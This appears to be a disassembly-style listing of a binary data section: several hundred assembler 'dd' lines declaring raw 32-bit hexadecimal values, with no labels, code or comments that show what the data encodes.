dd 2A8F6B02h, 3228803h, 0DC3C76C0h, 8706A200h, 0A5F2BD4Fh
dd 1D9E0067h, 0E9CA439Ch, 0AB0564C2h, 5DD554B8h, 0ECB98C41h
dd 92E87588h, 0F4CE000Fh, 160D9526h, 6209D79Ah, 0FFD564h
dd 7423F198h, 0EE6B3FC2h, 2BF000F3h, 0CDE31D6Fh, 19C1D449h
dd 0F4EA3A31h, 0CE5EF640h, 845D2CF3h, 71790350h, 0D9B31BC8h
dd 213611C0h, 6D2F1903h, 0B01595FCh, 7BAA5h, 10BF7BE8h
dd 8F59C86Fh, 20787077h, 3F26305h, 0B9802586h, 2E71D2h
dd 0F3A0D7E9h, 0F50614ADh, 0AA577D03h, 980F9F2Bh, 525E97h
dd 281B7F56h, 7422FE0h, 27005A98h, 0D4A2C8A9h, 8A7086h
dd 41FC43A4h, 0B1BA42BDh, 7A008CF0h, 27212207h, 169ABC3h
dd 428BC8B7h, 0C4E4F508h, 0D3F2AC90h, 0E0414600h, 5271E340h
dd 0CE36000Fh, 49354DA6h, 4500EC99h, 68E6A383h, 0D3A85Ah
dd 4D82F66Ah, 40C2119Bh, 20437307h, 0FF379527h, 1A4442C0h
dd 1F6B0729h, 0F0EADAF4h, 0DF9BE908h, 0BA4FE31Dh, 66F611C0h
dd 0DD1CECh, 1E8E0D85h, 0F2684841h, 0EDE8500Bh, 584410EAh
dd 1659ECC2h, 148D748Bh, 0EF004D78h, 0C04A1489h, 0EE058218h
dd 0C5556E9Ch, 12D310C1h, 28729D0h, 737E732h, 236047B1h
dd 7650AEA0h, 0CA0C8FF4h, 40C10AD7h, 0ADDD1E2Fh, 0AABAC022h
dd 62320FEh, 0C8B6CC2Ch, 46937B00h, 3E41E6E7h, 0AF805171h
dd 0E3FD85D2h, 2077D762h, 0CA9E7B00h, 0F140971Fh, 8CE40018h
dd 0E399446Fh, 6E007319h, 0BCF64194h, 1C4984h, 63DDAF7Eh
dd 4FB4208Ah, 8347C13Bh, 0E39F303Ah, 9638A099h, 0B777CFh
dd 6C073DD9h, 0A2C17181h, 67C8F300h, 0D19777Bh, 9EBC3DBFh
dd 0B2D8B980h, 705655D5h, 0CCDF9326h, 1E08FE00h, 26FC907Fh
dd 7B85F3Dh, 87917C2Bh, 0DECA3047h, 19007573h, 9AB977B1h
dd 0D1A1F8h, 0AA78E5BDh, 0C696BFA3h, 0DDE0C216h, 0EDDE4005h
dd 71FAB8C0h, 6CD2809Bh, 292E7900h, 3356013Fh, 0C0B35D67h
dd 0FBF5B03h, 0AEB07C69h, 5109CF59h, 8136874Dh, 0D0B3C24Ch
dd 0A4201DCDh, 48471C25h, 4C5E00EAh, 537CE3D5h, 58359F03h
dd 0D9CCE00Dh, 0D043BAF4h, 0FF1398F7h, 8C5B800Ch, 36BD7400h
dd 8F52987Ah, 1192001Dh, 9C20FACCh, 0F5074B05h, 68301BC0h
dd 0A8F0BB17h, 7433CAh, 6C9B1887h, 0D4EE846Ah, 5428F500h
dd 1B74CA1h, 877A0073h, 7939C27Bh, 5001CDDFh, 4908334Eh
dd 0FFEC9383h, 827C00F1h, 0CAF351C8h, 450302E8h, 6278A754h
dd 9059C8B7h, 754E005Bh, 20A39B5Ah, 8C9834B0h, 0E46F870Eh
dd 6596066h, 1E7EBD8Dh, 987BDFh, 7DB78F0Ch, 0F07C78EAh
dd 72AB1A00h, 8BC9C651h, 0EFB10082h, 0D6DD5EA7h, 2C797F88h
dd 1A31E810h, 0DCC0D500h, 0BE3D5474h, 7C792300h, 0E778F8A0h
dd 53285819h, 0B7F92200h, 365714B9h, 0E1075C1Dh, 0E22CF34Eh
dd 4037D4CDh, 233C8EBh, 0E2C741D0h, 0B880BEECh, 972EFD4Fh
dd 78125400h, 80ADD68Bh, 51A60031h, 2FD10486h, 49EAE503h
dd 25384800h, 8ED0C592h, 2EDAF635h, 0F13B20h, 89F5828h
dd 24004540h, 292748E8h, 3486B5h, 0BE512CFh, 7E2BAD9Fh
dd 0B1000DF4h, 82B93FACh, 0EA05D7D4h, 7274001Eh, 15C1ACAh
dd 9C01A199h, 0D5857844h, 6C30B405h, 0D4AE0043h, 5A74CA06h
dd 7A0038B0h, 9CEB1013h, 1FF565h, 4A700D28h, 194FB24Bh
dd 0E9618100h, 0EAD0152Dh, 4D9900F5h, 173DE8F9h, 52012343h
dd 35026337h, 10807E14h, 2FEC6139h, 8C7C451Dh, 97CA098h
dd 341C071Eh, 1204EE00h, 9DFFC4Bh, 3FCB2A30h, 0A42F6980h
dd 0FB00D3A6h, 8939E033h, 456AF29h, 0E3874ECAh, 0FA4902Fh
dd 30007D5Bh, 0BC404B91h, 0FFF36Ah, 80AFCC7Ah, 0DF62BFFCh
dd 3D05C8F6h, 328F9C03h, 0ACD6D800h, 0B9633Ah, 0F5579267h
dd 9436685Ah, 10C9551Eh, 0CE599780h, 1CEDA358h, 40BFBD16h
dd 32F06A9Bh, 0A2023495h, 46B3979Dh, 2D04406Dh, 554300F9h
dd 0C9A381AEh, 0DE22B5Ch, 0C1787200h, 0B166E988h, 0CE0501CCh
dd 963E8348h, 0E4A0479Ah, 8268C1DEh, 30AE71B2h, 1E3CB460h
dd 0C1990484h, 3CC3D08Ch, 0D5ADE0EBh, 0A7720068h, 0CE9553FCh
dd 6B0071A4h, 8A50BF9Ch, 54AADF2Bh, 7673A0D3h, 0FDB90E9Bh
dd 158E3533h, 71B2C000h, 6D00E018h, 4F09A4A8h, 3DA4864h
dd 230E37B6h, 80C802B7h, 2D019AFEh, 0CE30266Dh, 1180A6ADh
dd 6477BA87h, 530CC8CBh, 0C839EC02h, 59DB80Dh, 81B960DDh
dd 0A6288019h, 0BF0265B5h, 5F455855h, 4916600Ch, 80449CE8h
dd 0B5235AB3h, 64FE90A6h, 0ABB955Ch, 0B8C1C20Eh, 0B90731A8h
dd 3C89A8B5h, 5561CFC1h, 26E0A0C3h, 9AE20145h, 53E6356Ch
dd 0D6C7717Eh, 0EDB5B861h, 0F06FE9C6h, 0FF000867h, 9B39EDDCh
dd 2E723CDBh, 9CC4BEA1h, 0D0F74683h, 120E383Eh, 4EDEBB6h
dd 0C8C0402Bh, 932788h, 16862049h, 0DAC4040Bh, 71430912h
dd 9C1F40C0h, 99CA050Fh, 8388BFCCh, 1E862C8h, 1E148A47h
dd 4886F29h, 0CC3D5B3h, 0F56BECC0h, 0CA234897h, 7DD3400h
dd 6B7B350h, 373D33F0h, 0A2E381FCh, 0C120D8B0h, 2E3CBBE8h
dd 0BC878Ah, 2166F319h, 0EB01AF8Eh, 0E6B04CDEh, 88FC7828h
dd 0BEB805h, 0DCD26A2h, 2290EA0Ah, 3DF6C701h, 5CD3E596h
dd 0F786C4h, 2EEB7F14h, 0F6B79E6Dh, 70362403h, 0F58FE49h
dd 0D4DDB419h, 976255A0h, 3772499h, 9007898h, 837313A8h
dd 7DAC06h, 14326D52h, 2E39891h, 0DCAD331Dh, 2F1B3600h
dd 0B83B8D34h, 47377h, 0C4CA9A35h, 60655556h, 0B31FFF77h
dd 0B2C05E6Dh, 25AD7117h, 1EFE3Bh, 0C2392983h, 0D4D66144h
dd 9A8AC000h, 6697F8A7h, 9328001Bh, 16C13DFEh, 7001C671h
dd 45980AA5h, 8EC5D7Ch, 0D18E005Ah, 0EFE57881h, 0F848BF48h
dd 255600FEh, 0FA912B65h, 2F84036Fh, 4C3AE252h, 3F7C01A8h
dd 0D61E7B00h, 717F2005h, 0FD0B0E31h, 9EC055DEh, 0F18C13F3h
dd 80194C3Bh, 2BF7C90Ch
dd 50D8Dh, 0C094B19Ch, 0E920F86Ah, 77B893Dh, 1D367367h
dd 9746AFF0h, 0EB0800F2h, 0ED311B93h, 3D04E9E5h, 534920A0h
dd 548CC2FBh, 0CE4A7240h, 8FB80678h, 8F74D100h, 5B95FCDBh
dd 0E07E39A7h, 0FB97E280h, 9FDB54Ah, 238FE91Fh, 38D42100h
dd 4B716B3h, 4366A4EDh, 4F08C2A5h, 0D2B0AAC0h, 902A8801h
dd 32E7D989h, 3F19E5E4h, 7F804F30h, 0FA126378h, 0F33986EBh
dd 79E980BFh, 0D013649Eh, 0E83B00AAh, 789B36Ah, 0C100CE8Eh
dd 0BFA77961h, 0C0B2E66Ch, 5E504718h, 0B37A132Bh, 0F1F7EA00h
dd 55D64DC7h, 0E1FC07F4h, 60926E0Bh, 190D99C0h, 11886200h
dd 3F82EA4h, 35541C23h, 1431009Dh, 6E15CC36h, 0C7428D00h
dd 68B6FD20h, 9B0F0F79h, 0E180D0C3h, 6A078A63h, 8E2DB200h
dd 4F4DDA1Fh, 83740Eh, 6C87432Fh, 0F6B2A219h, 70685926h
dd 3DDF9200h, 38108Dh, 0FB24487Ch, 955713BDh, 0C4EF1C00h
dd 822F8A2Eh, 6ABE00DBh, 0DBA5E10h, 3EFEB7ADh, 2EF05F48h
dd 0C89C90DFh, 0B900C5A4h, 9A2C8DA5h, 306C7080h, 73194B02h
dd 4C00F67Fh, 0FF3CCCE4h, 300C3260h, 83211BB2h, 0AD300AAFh
dd 0A4BE111Ah, 2DF93316h, 0ECF0A0C9h, 40001F62h, 0C13A5175h
dd 9777422h, 14BF18A5h, 0AFBCA8E0h, 9605F002h, 60CFF83Bh
dd 9C43838h, 0B191624Ch, 8C6AC80h, 60FE7A46h, 0A60278F6h
dd 0BD634DC4h, 3C8060D2h, 61FB007Ch, 308A565Ah, 40013F8Bh
dd 66B50E54h, 0F541EC5Dh, 0EB700C35h, 34CC008Ch, 9E7A189Fh
dd 86B011ACh, 0A2243F00h, 4CA54910h, 22A03DBh, 99C8827Dh
dd 4E8A83Ch, 205F2C7Ch, 7F519CC0h, 1E93142Eh, 0BA00B8EEh
dd 7214A4B0h, 0C439B74Ah, 0E1007EA9h, 65B3552Eh, 301C608Ah
dd 871127DEh, 0E001D63h, 0E1AC2C70h, 0D71501h, 9FC99635h
dd 9CE9FA2Ah, 1C20664Eh, 856FC368h, 0B5D37B83h, 3DCCE87Ah
dd 0E8F0002Ch, 441A8FF9h, 8100A93Fh, 0D64221E4h, 0F5E54Eh
dd 7B96272Ah, 0C2AE912Ch, 0C004C702h, 0C0978DFAh, 0B68094h
dd 0C99ACB9Fh, 0AD7AEBBFh, 9BC69C1Eh, 0E7D8C118h, 23CD0365h
dd 0A08D760Dh, 0CB746E0Fh, 0A99C00DCh, 1B764B2h, 0D7F3D288h
dd 60341BF2h, 33053BF8h, 50430F6Bh, 0DD87EC05h, 24C4A0h
dd 11B0EA9h, 4BFE9B2Ah, 0B0AB00Fh, 216C0F0h, 4C039573h
dd 2B07F8F3h, 0E0A37835h, 105786B2h, 0E7878D01h, 0ED34120Fh
dd 1E9860h, 70DEBD68h, 10FE9D9Ch, 0DBCA711Ch, 0B0A700FCh
dd 0D593BE6Ah, 0D79100F9h, 0C1D87B18h, 85755DF1h, 9F840900h
dd 8062E6B6h, 10AF003Dh, 66DFFB7Eh, 62EB925Ah, 5D7009ACh
dd 770000EBh, 70BAD773h, 0CCC70E74h, 96203355h, 95118043h
dd 2F019C17h, 48D06C01h, 0C82082D1h, 78E50036h, 0BAB8A2ABh
dd 0CF0CFA0Ch, 21A09601h, 3C5D3D2Bh, 7CE3F8E0h, 60FA308Fh
dd 5052CE03h, 0C0189483h, 348C5A7h, 0E6444326h, 0CDE97DEEh
dd 0E9CC2054h, 69640149h, 0B0744411h, 697363D3h, 47987F9Ch
dd 1B015842h, 0E1CC44A4h, 60A69510h, 68EE0C6Fh, 0AD00C489h
dd 13DFCD44h, 75B87DDh, 0D7DB28C8h, 0FD9C935Dh, 9D6775F0h
dd 0A5D5A71Ch, 0C21580FEh, 0C5AD9EBEh, 0AA740051h, 0E61FF80Dh
dd 2000D58Fh, 65F00C2Bh, 9667158Ch, 64C503ACh, 0A000E9A8h
dd 197B0B81h, 0E8CE4h, 566E0137h, 0BBE78A83h, 4AD68467h
dd 6A65A3A0h, 2B355CA0h, 407D5907h, 0F741F0B1h, 46002101h
dd 3A92C618h, 4D49C61h, 931650FAh, 0F4AC80B3h, 1B0086C2h
dd 0F8653D46h, 33E1C28h, 7651299Eh, 63E0BAE0h, 8B01BF6Ah
dd 0B420FDC1h, 5FFC47B7h, 46940021h, 489CBFEh, 865F0306h
dd 40C30800h, 3821CF7h, 22B7B21Bh, 7DA8CD53h, 0F005AECh
dd 78B0DE32h, 61ABBAh, 4B7E2E88h, 27C9E3CFh, 0C27A8A01h
dd 0DC2B79C1h, 8E72A03Bh, 529D3300h, 3239CD87h, 10310088h
dd 6AC7775Ch, 9F00D6B9h, 55722644h, 0F2FD7B58h, 1BF4F962h
dd 0A8BF0F54h, 56005C02h, 3EF886Eh, 0DF9401Fh, 0EC82DCD6h
dd 600CEA06h, 4B3C17FEh, 0A9B40005h, 0CA84255Eh, 375F2E00h
dd 507E3A95h, 174F6F6h, 5B51E22Ch, 0DCA0040Dh, 0E13EB56Dh
dd 0E4097B3Ah, 40748580h, 7539EBACh, 0A6D11211h, 51B0001Bh
dd 0CB6ABC3Dh, 0F4229700h, 0A480170Dh, 898300ACh, 0E0EF36FCh
dd 34002582h, 1C560157h, 121365h, 0CFD51BA4h, 6C7D8BDDh
dd 0EF05AF09h, 4D048159h, 97F00EA6h, 14CA1C2Dh, 15FC0BFh
dd 1A6B8F70h, 50253F01h, 41ACC29Eh, 4CA8A4h, 0BC0DF721h
dd 2D305DE5h, 0B932966Eh, 0A9D000D9h, 0FEC00B48h, 0C7016031h
dd 0FABB5B8Bh, 3660B8FDh, 824216CDh, 602C0026h, 0C20F982Fh
dd 0ECA139h, 0F9B871F0h, 7C7F4010h, 763607B9h, 0AFDC20EBh
dd 321B2BE7h, 0C46082DFh, 0E005F8Ch, 49D88BE5h, 3DB8720h
dd 2886DCB6h, 0CAB16CCFh, 59ACF4DFh, 0D6287DEAh, 3F1E8CBAh
dd 20D8FC58h, 0F22638h, 79AEC147h, 0CD6F8F91h, 0D607661h
dd 9184720Fh, 0B0A6ADFBh, 9D016D30h, 0ACD3FF5Eh, 4870394Bh
dd 801CBC76h, 0BBD7E8C4h, 93006F3Ch, 239594E1h, 7E160AF5h
dd 0C1130FA9h, 80200669h, 8837E1FBh, 1726B901h, 3E4678A7h
dd 0A07A1074h, 0B5CD80h, 0A037D188h, 92FA7222h, 63D74212h
dd 8FCB1440h, 0C364D948h, 3D4F6E11h, 0D01DD98h, 0CA30DF00h
dd 0C15968CEh, 9F540133h, 3BEEBB4Ah, 0E3309A19h, 8C74FCh
dd 4E8E3CDFh, 2FE80CD0h, 7589C8h, 0F92A6B28h, 84E25B07h
dd 0A30A0492h, 8CE55FBCh, 59534A80h, 2ED84829h, 0B96050F9h
dd 30A852F2h, 4FEA4306h, 9D0C2139h, 0C166D83Fh, 5E7406C6h
dd 2129E01Ah, 0E4558D00h, 0A4912D25h, 18BC00A9h, 1AC3CC43h
dd 9395C1C0h, 0D6D5901Ch, 7FDD3C5Ch, 6343CB02h, 0BAE0F3B9h
dd 0ED2EABF8h, 0FD002916h, 32993675h, 1CDB79F5h, 800DB281h
dd 6D2DD894h, 0A803C278h, 14E4E0B1h, 0FB50FF1Ch, 3A798219h
dd 0D9B13E89h, 2E9DF428h, 2170AC1Ch, 0E73083Ch, 0FA8FA42Fh
dd 0A3588901h, 0A85FF41Fh, 52FC0301h, 171BD543h, 0DC085C38h
dd 3580D1F7h, 883AD075h, 0A0B0AB7Eh, 921A98B0h, 49E93BB0h
dd 0C6199D00h, 6C6BA9A5h, 2A9A5A00h, 925909F3h, 14912E28h
dd 568C80B8h, 0E34B37E2h, 10B1640Ah, 0F902E81Fh, 62905F6Ch
dd 0FE34609Fh, 43F25C53h, 0D638F430h, 63005F9Ch, 3B6E8A1Bh
dd 6DC7E3h, 20376986h, 0B1259901h, 84386600h, 8EC4FD93h
dd 96AE00F8h, 9027F744h, 51CFF22h, 0E08039C0h, 107A37E8h
dd 38DC01DFh, 0AAB82A26h, 8F9C6007h, 0BE003D70h, 7BED6A1Ch
dd 30E5236Dh, 26A637CFh, 0D2006008h, 55838CD0h, 0B8C28D9Bh
dd 0DAA600F6h, 0C9F5B4D7h, 8E98D87Eh, 5E34630Fh, 504B405Dh
dd 0FE67B097h, 3AAF0099h, 7BE9C424h, 0A707AB04h, 0F8F5E041h
dd 0E0A645B2h, 0FA17169Bh, 0B0B42E63h, 0C12B010Ch, 0CC423347h
dd 0C3F49AEBh, 0C4808700h, 5515B8B0h, 1350003Ah, 1123AF63h
dd 84EA5703h, 0B9B11A00h, 983A4F1Eh, 1B2C0001h, 21AED96Ah
dd 630A2223h, 0C40B269Ah, 3E4E4700h, 7FFF0Ch, 5D21F25Ch
dd 800E093Bh, 57F45601h, 0B696306Ch, 0F0AC44FCh, 93F034h
dd 0B97D4D46h, 0A0593122h, 0CA524100h, 9C8C0DDAh, 0B45009F2h
dd 78710F09h, 8066EA89h, 804D1F97h, 7DC49815h, 4EFE012Dh
dd 7B25EFB3h, 3761E284h, 68C7201Dh, 0CF0FA600h, 62D90260h
dd 96B7B7Ah, 0A74B1E2Dh, 0D285C0A1h, 48A43C33h, 61AD0FF0h
dd 0C1F7C081h, 4937AAA2h
dd 0E00642Bh, 0A97080BEh, 193BE99Ch, 0DDA08428h, 480BB14h
dd 1D9FDB35h, 80EFCC0Dh, 3480959Dh, 0D7037036h, 7C4DE7FBh
dd 0ED5F90FFh, 37600022h, 0AD84D503h, 0B8004BB2h, 0D0F28702h
dd 452058h, 6C619CEBh, 0E5AB268Dh, 0EC5F5Ch, 704F99C1h
dd 70E0F92h, 0A216AC3Ah, 0C3B22527h, 0ADC98670h, 0B7A86072h
dd 21501F01h, 74C76FEFh, 9D6920h, 36DEF58Bh, 0CA4B2D04h
dd 0C6C4A700h, 359428B4h, 9857508Fh, 0BA4C2C2Fh, 39BE0024h
dd 0B93EEF0Fh, 185A4509h, 0D1F404FDh, 8800F8BCh, 7E407909h
dd 0C0173ACFh, 0C10554B2h, 0EC08F51h, 2C2545ECh, 0D2447h
dd 28C3A289h, 6402F6CBh, 431709E6h, 5224604Ch, 0F8B71671h
dd 0F654700Fh, 0A75819B6h, 7C3802E7h, 858E9C26h, 8080DDA6h
dd 0F945A9Dh, 7331C3B9h, 7071FC67h, 63240DF6h, 2F6C2301h
dd 208BE450h, 0BCC5834h, 0C39F4F25h, 0AB0308B0h, 7EC1A4Ch
dd 54DC441Fh, 74DEC290h, 0A2373D56h, 64ACC702h, 0F4688D85h
dd 5E19B1A9h, 0CB598379h, 7F5F0870h, 872A0028h, 7ECA3438h
dd 0EF120131h, 8CA014C4h, 0ED70C495h, 0E570A49Ch, 19C0D5F0h
dd 0D9EA1871h, 84FA5632h, 40DC134Bh, 59227328h, 110F5A38h
dd 37E542A2h, 0A4DCF0C0h, 543EAD3h, 0D0401FB6h, 84E41136h
dd 4E81219Eh, 31690503h, 59AB6AD0h, 77826C42h, 90A07C92h
dd 7E7452DBh, 0DCAFF90Dh, 62C499BBh, 1C5F0067h, 85D5B5FFh
dd 0BC0CBF2Fh, 0F811AAEEh, 0CCFB5809h, 0C13239A2h, 40744290h
dd 7C6F06BDh, 79C89A14h, 1E8FA006h, 6411C19Ch, 80B6317Bh
dd 8B63BBD8h, 801810C0h, 0C80492h, 6AB8FBA3h, 0BB39C151h
dd 0FC18EB74h, 554073F1h, 0E5FD28F4h, 0FC63FEE8h, 89C42CD2h
dd 0B85D4028h, 282516A7h, 0FC446042h, 7F028819h, 40525F03h
dd 0B89ECE7Bh, 2D2E2ADh, 0F2BF5355h, 60E0672Dh, 0C5031966h
dd 99B7F057h, 3128E860h, 93400097h, 0F38E0AECh, 2500853Dh
dd 7F83E64Bh, 161AF21h, 0BBAB9E71h, 0C08D5878h, 3900B8A2h
dd 8C50426Ah, 0B4671Ah, 149604EDh, 0FA986D3Eh, 1E48958h
dd 446C3C22h, 0CE798Ah, 854E7FD1h, 0D704F80Ch, 1C9129ADh
dd 70A1FEEBh, 8CA37E11h, 0F5C49D01h, 92E50253h, 0E42E1C28h
dd 2042AC3h, 8CBDDFA2h, 0C0C85AB1h, 4900D7E1h, 0DE2FEF23h
dd 33392ABh, 772DE2FDh, 82FCED1Dh, 9460FEB1h, 131FA179h
dd 36C1C274h, 0B647A022h, 2CE27E8h, 2B85660Ch, 0C0564CA5h
dd 0E28950Bh, 65A341A4h, 0A86029F8h, 0A27000EAh, 0F085871Eh
dd 267EE3F9h, 8C00097Eh, 0FE74A1C1h, 58B7D1AEh, 5703A477h
dd 0F9A7C461h, 0D4B918F0h, 0DA05E401h, 6D2B02C7h, 28E382E4h
dd 12F66250h, 0B03127FBh, 0CD0F8CF4h, 0CAAC8DFDh, 0E100921Fh
dd 186F2C14h, 0EEE60775h, 0D7537FDAh, 233351CBh, 0BD68C820h
dd 6AAE414h, 0D1DB0090h, 3B38081h, 0D56639E0h, 828DBE8Fh
dd 0AB68DA01h, 2A1AF8DFh, 28C7E116h, 80A31D0Bh, 35D0C8B8h
dd 0DCAC00A6h, 4DCDC51Ch, 72C815Eh, 28048C98h, 27402AAEh
dd 0ADFE1B94h, 4332A300h, 5998855Dh, 4930B0CAh, 0B6029893h
dd 0A96F5855h, 530064D8h, 0F17FBCCDh, 7519D7h, 0B2B09ABBh
dd 0E83DC114h, 8D1E2B00h, 227E01F0h, 1F070025h, 18920867h
dd 2907313Ah, 84B3780Fh, 8524A439h, 217CCCh, 0A953C8DBh
dd 0F8F0B613h, 9002C8B8h, 0B7871A73h, 61FDC09Ch, 80F54CACh
dd 0BC65C00h, 0E83725E6h, 0B8004698h, 21888369h, 7EEB72Ah
dd 8E5D0E16h, 0BED4D017h, 6D0A2EC4h, 0B6B6F85Eh, 0CCE9B400h
dd 0FFBC30h, 29B75058h, 6563D5E8h, 947C6009h, 6CD803B3h
dd 23A800B0h, 0EFC44E2Ch, 73006F5Bh, 9C1BA0CDh, 4DADBE47h
dd 46026CA2h, 0C48EA65h, 498BB874h, 827000FCh, 0E22F29h
dd 3CBE4FE5h, 13805556h, 401FCE76h, 0D0C19C24h, 0FAD8BBDDh
dd 0B489040h, 0CE5B0089h, 30C4B992h, 0D74B4274h, 8EAC1840h
dd 33A4D832h, 7281CDF7h, 0AD169087h, 830039E4h, 0B69EC66Fh
dd 271AAA6Dh, 4C41F1A5h, 0C491C5FEh, 3709BA3Eh, 80D86B4Ch
dd 897DEC79h, 43F502DCh, 8353E2AFh, 99BA9860h, 4CD9B300h
dd 5E741DD6h, 20D10019h, 0FD4553A0h, 95145871h, 0C3480498h
dd 0A8E16C39h, 1FE546DAh, 0C0289FE8h, 2B8D240Ch, 0D7539A2Fh
dd 9ECB0460h, 0CE3821Dh, 34263321h, 0F4459DE0h, 3B2167Fh
dd 0C53CA047h, 4EB8E758h, 0C8BFAC80h, 0E13E0033h, 22A08D09h
dd 653024A5h, 9F2140F2h, 0DE709Eh, 1CF32A2Fh, 0FED8D52Ch
dd 0FAE3E400h, 811942CEh, 37130FB2h, 5F0BCDD9h, 453C0602h
dd 349404C1h, 0C89C896Ch, 90416848h, 0D8501708h, 248B44F6h
dd 0E382BBh, 2AEAEB8Ch, 9D0E8792h, 8494FDA4h, 0C0916132h
dd 5FD0B3D8h, 418661B8h, 80ED97C4h, 952B5259h, 60A86F85h
dd 24962176h, 949CC588h, 16AD1900h, 0CBBD158h, 6542A6Bh
dd 3100F358h, 0D637E75Bh, 0DD6D0FACh, 79431830h, 880005E6h
dd 0B8601E5h, 0C0EC21C6h, 0C2124861h, 6B01FA3Ah, 0A1DDFBB2h
dd 0C5DC0746h, 0C3420215h, 0DBF29A2Ah, 0CC105879h, 88E00DC2h
dd 36EE5A00h, 10A00CDDh, 78619489h, 7712A20Dh, 688349BDh
dd 227BF618h, 86E885F8h, 7C275CF8h, 0E8006B41h, 54C4ABh
dd 777A5205h, 38577567h, 32D4A159h, 1A8981D8h, 1C06D05Bh
dd 8C06A0h, 0A8B0E64Eh, 5D1FFC13h, 1787DC9Ch, 2110B85Eh
dd 29ADA22h, 62DC37BFh, 0F8A264h, 8EA8F100h, 212DBBDFh
dd 2C9EE4h, 0C01BEA8Dh, 0FC7539D2h, 0B890E62Ch, 810B303Fh
dd 735BFB3h, 965925A2h, 946190A6h, 0E90032B6h, 0B5F7553h
dd 0FF6ABCh, 0F5DF8F3Bh, 1AD7E5F8h, 0F1428203h, 0C85C1EF9h
dd 278DBAh, 0AAFEB5CAh, 61B27A8Ch, 0C638B91Bh, 9D300340h
dd 54403313h, 0DBCB48A8h, 60BBD1E5h, 9A0A3FA1h, 0EC918422h
dd 62008B20h, 0C6F996E6h, 75271490h, 6D2C161Eh, 0C3A2C401h
dd 3B81B981h, 8BC0C3BDh, 561D04BCh, 4F0C1E85h, 6280A4h
dd 58A34C27h, 381440EEh, 84C8FE54h, 0FC89852Ah, 1907F402h
dd 0D0D00542h, 0F343E6CCh, 8045E0h, 31C21D30h, 85596002h
dd 4203DF00h, 751BB5C5h, 12CF7C28h, 0A0AB0A51h, 9090AEE8h
dd 8595D378h, 1430B63Ch, 31C19B0h, 846ABF8Dh, 0E58009AEh
dd 0BE072E2Ch, 4CA8EEB1h, 0DB06C920h, 12A9052Fh, 8031E40Fh
dd 0BAD60C3h, 8B1BB700h, 89351F4Fh, 574800D8h, 0AA7841F1h
dd 0FE059019h, 5F2106EAh, 0F8AB3080h, 0BE8700A1h, 0DE01B5C2h
dd 0E5173624h, 0C81E2156h, 65094841h, 0F3E00786h, 2A890002h
dd 4DCB55B2h, 66006961h, 0A121821Bh, 0E943031h, 0DE17CC6Fh
dd 51EB3AC0h, 0BE00D177h, 0FDF5CD88h, 0E46B287Bh, 1566009Eh
dd 0AD0DB869h, 950036BDh, 0E556883Ah, 2702CD4h, 0D142B473h
dd 0BC87FCBFh, 95145AAh, 0CC78A0E5h, 884EC50Fh, 6D7B00BDh
dd 3E57C2A6h, 8B0345C1h, 75E4B6DDh, 25F4BC9Ch, 0AB0840CEh
dd 1CC1C9Eh, 0FEBAC06Bh, 461E66DFh, 6C406AFFh, 307220F3h
dd 1932570h, 371E4080h, 0EE00A57Ah, 0E43E4FB0h, 5C79171Fh
dd 0EB00B945h, 0BE788A7h, 54008DD8h, 343C300Eh, 14C05DEh
dd 732724B9h, 0D1A76DF0h, 18C9EE90h, 20493AF4h, 0A874F0E0h
dd 1DF0FAD8h, 6EBB764Ah, 1C2C34h, 0A73B9E8Eh, 0D900D035h
dd 0A17F80F7h, 75101Eh, 28B2DAB5h, 52A3B731h, 85821800h
dd 0D902A75Ch, 0D545161Fh, 396C92F8h, 0CE00CCD1h, 0BC5CD16Ch
dd 4C430084h, 61331C3Eh
dd 6616A02Ah, 0B0B01F6Eh, 0BD16058Dh, 80304C8Eh, 62A3E6A9h
dd 8C72E9h, 9E99A40h, 0B81392E2h, 3EF7015Bh, 7D8EA563h
dd 20C0C37Fh, 6118DA9Bh, 5E9A167h, 0C47A242Eh, 0CA01BCB4h
dd 683DBC40h, 8F89FEDh, 0CCA6A9C0h, 1A72196h, 0B9646DE1h
dd 0EC46EDC5h, 9E00829Fh, 4802E94h, 1966983h, 1C685EC7h
dd 0D42BBA7Dh, 0C8B4A7C9h, 0D5B0Bh, 0A2D227A6h, 7B6E003Fh
dd 7EF4CB78h, 0F70058BBh, 0AC7D351Bh, 0EC5A09B4h, 91F94838h
dd 57807700h, 9925F773h, 0AC978E00h, 28E1030Eh, 0FBC90181h
dd 0FD6D4380h, 82CED527h, 26FC6E11h, 0F8CD630h, 0CD214B8Dh
dd 0EC2263ACh, 3C0FD96Ah, 2091F6C2h, 0E6764EB5h, 90C9013h
dd 0CC7E8E07h, 0B2058CD8h, 0C97A9CE1h, 0B401B8BCh, 566FAC17h
dd 6C83F076h, 53F884B5h, 791DE8F8h, 6099C0E2h, 9B0A9201h
dd 89CBCD3Eh, 897450F2h, 240E83Bh, 5C7C82h, 0BB2A9E77h
dd 23148451h, 500AC8A8h, 0F2D0F8F7h, 7E52E804h, 0D8C03F74h
dd 57C71Ch, 0ABBD728Dh, 4D055DD3h, 0FC34829Fh, 33610F48h
dd 30DABAA0h, 0F80FD090h, 9EAFAB42h, 41E2C80Fh, 9BFCB641h
dd 4746D8h, 6632FE0Fh, 5C5DDE28h, 290B0400h, 0F8EB2583h
dd 9D950314h, 792C3AF6h, 905F4990h, 0E42D7800h, 631B9692h
dd 0B2C007FFh, 8D6DFEh, 0AA671A33h, 2F442600h, 56CF940Fh
dd 77B0A011h, 0FD0E3E3Dh, 0FC8F702Fh, 3EFA0B43h, 90C026C2h
dd 600405Ch, 0BC746CA6h, 3604427h, 2D1D56A3h, 49F87209h
dd 220251B0h, 5BFD4ABAh, 0C4B0818Eh, 1C2CFE59h, 5445267Eh
dd 44FC8020h, 92164733h, 0C5289C5Ch, 10ECA318h, 0CA8CC580h
dd 0E00D12Ah, 1EF1E923h, 50B5338Eh, 1D21BC2Bh, 0C0088A3Fh
dd 0B2A0B157h, 52006762h, 6F39F137h, 3C59F90h, 4D046599h
dd 0B4F1A909h, 8BC84249h, 0C47357E1h, 89033A55h, 67E37A91h
dd 9B00C76Ch, 3EEE79BAh, 1E00F474h, 0EAC5478Fh, 0A6009FADh
dd 527BA415h, 29CCAC1h, 0DD3C90B3h, 0C88FF365h, 7529F46Fh
dd 791FFCF8h, 998026BFh, 5B0AEBA0h, 0DD9C002Eh, 13338F37h
dd 0E4B85201h, 327B8DA1h, 0C88D09C8h, 7FF868BFh, 0C313099Ah
dd 0F5002288h, 238C1BA9h, 2819EA01h, 7E9C189Bh, 8E43EF9h
dd 3C9F7EAAh, 0BD0F2CA2h, 0EFA9918Ch, 6EA55880h, 800F5B0h
dd 80308D24h, 0EDE725h, 32D59194h, 154BD979h, 111E16B8h
